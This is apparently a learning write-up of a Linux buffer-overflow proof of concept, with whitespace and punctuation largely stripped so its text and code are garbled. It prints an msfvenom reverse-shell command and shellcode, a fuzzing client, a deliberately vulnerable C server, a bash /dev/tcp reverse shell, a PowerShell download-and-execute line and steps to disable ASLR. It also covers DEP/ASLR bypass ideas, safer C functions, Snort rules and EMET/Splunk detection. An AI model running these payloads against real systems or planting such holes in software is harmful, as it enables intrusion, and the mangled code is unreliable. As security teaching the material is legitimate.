x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
SourceCodetoVulnerableServerandPythonClientcanbefoundhelliphttpsgithubcomsecSandmanBuffer_Overflow_PoC_C_LinuxTheclientPoCpyandclientpyfileswillbeusedtofuzzandattackthevulnerableprogramLaterwersquollexplainwhatandwhyFornowthisisjustanexampleforthosewhowanttodiverightinandworkbackwards
clientPoCpy
usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=
Serverexpectsapre-fixtellingyouthebuffersizeThiswillhelpustroubleshootintheserverterminal
raw+=structpack(ltIlen(MESSAGE))raw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()
printReceiveddatadata
ThevulnerableServercisthevulnerableCprogramThesourcecodewillexplainthewhatandthewhyofthecodeincaseyouwanttobuildyourownprogramLaterwecoverothervulnerableCfunctionsFornowthisisjustanexampleforthosewhowanttodiverightinandworkbackwards
VulnerableServerwcommentsonSocketCprogramminginC
AvulnerablenetworkapplicationCtoshowthebasicsoverflowingabufferandwritingasimpleSocketProgram(-8Thankstotaishi8117forthesourcecodeandopensourcingthecodeIupdatedtheServertoruncontinuouslysoyoucanwriteaniterativefuzzeronitPreviouslytheserverterminatedprocessafterthefirstserverresponseThankstoRensellarCollegeandUPENNforleavingyourCCprogrammingmaterialforfreeonthepublicinternetincludeltstdiohgtincludeltstdlibhgtincludeltstringhgtincludeltsystypeshgtincludeltsyssockethgtincludeltnetinetinhgtincludeltunistdhgtincludeltsignalhgtdefinesamacronamedBUFFER_BOUNDARY_SIZEasanabbreviationforthetoken1024HEADER_SIZEisuniquetothisapplicationandisapre-fixedstringaddedtothemessageblockdefineBUFFER_BOUNDARY_SIZE1024defineHEADER_SIZE4Macrowillinsertbuffersizeof1024intocharbuffersettingourbuffersizeto1024bytesvoidvuln_read(intcli_fd)Theserverreadscharactersfromthesocketconnectionintothisbuffercharbuffer[BUFFER_BOUNDARY_SIZE]Assumingthatincomingclientheaderisinlittleendiantheserverwillthenreadthefirst4bytestogetaclientprovidedpre-fixstringstatinghowmanybytestotheclientisprovidingintto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)
-----------------WARNING------------------------intread_bytes=read(cli_fdbufferto_read)hasabufferoverflowvulnerabilitybecauseto_readcanbemuchlargerthanthemacrodefined1024Thatsbecausethereisnobytelengthvalidationonto_readbeforeweplaceintobufferof1024meh intread_bytes=read(cli_fdbufferto_read)printf(Readdbytesnread_bytes)printf(Incomingmessagesnbuffer)intmain(intargccharargv)if(argclt2)printf(Usages[port]nargv[0])exit(1)sockfdisafiledescriptorsiearraysubscriptsintothefiledescriptortableThesetwovariablesstorethevaluesreturnedbythesocketsystemcallandtheacceptsystemcallportstorestheportnumberonwhichtheserveracceptsconnectionscli_lenstoresthesizeoftheaddressoftheclientThisisneededfortheacceptsystemcallintportsock_fdcli_fdsocklen_tcli_lenAsockaddr_inisastructurecontaininganinternetaddressThisstructureisdefinedinltnetinetinhgtstructsockaddr_inserv_addrcli_addrThesocket()systemcallcreatesanewsocketIttakesthreeargumentsThefirstistheaddressdomainofthesocketRecallthattherearetwopossibleaddressdomainstheunixdomainfortwoprocesseswhichshareacommonfilesystemandtheInternetdomainforanytwohostsontheInternetThesymbolconstantAF_UNIXisusedfortheformerandAF_INETforthelatter(thereareactuallymanyotheroptionswhichcanbeusedhereforspecializedpurposes)ThesecondargumentisthetypeofsocketRecallthattherearetwochoiceshereastreamsocketinwhichcharactersarereadinacontinuousstreamasiffromafileorpipeandadatagramsocketinwhichmessagesarereadinchunksThetwosymbolicconstantsareSOCK_STREAMandSOCK_DGRAMThethirdargumentistheprotocolIfthisargumentiszero(anditalwaysshouldbeexceptforunusualcircumstances)theoperatingsystemwillchoosethemostappropriateprotocolItwillchooseTCPforstreamsocketsandUDPfordatagramsocketsThesocketsystemcallreturnsanentryintothefiledescriptortable(ieasmallinteger)ThisvalueisusedforallsubsequentreferencestothissocketIfthesocketcallfailsitreturns-1InthiscasetheprogramdisplaysanderrormessageandexitsHoweverthissystemcallisunlikelytofailThisisasimplifieddescriptionofthesocketcalltherearenumerousotherchoicesfordomainsandtypesbutthesearethemostcommonsock_fd=socket(AF_INETSOCK_STREAM0)
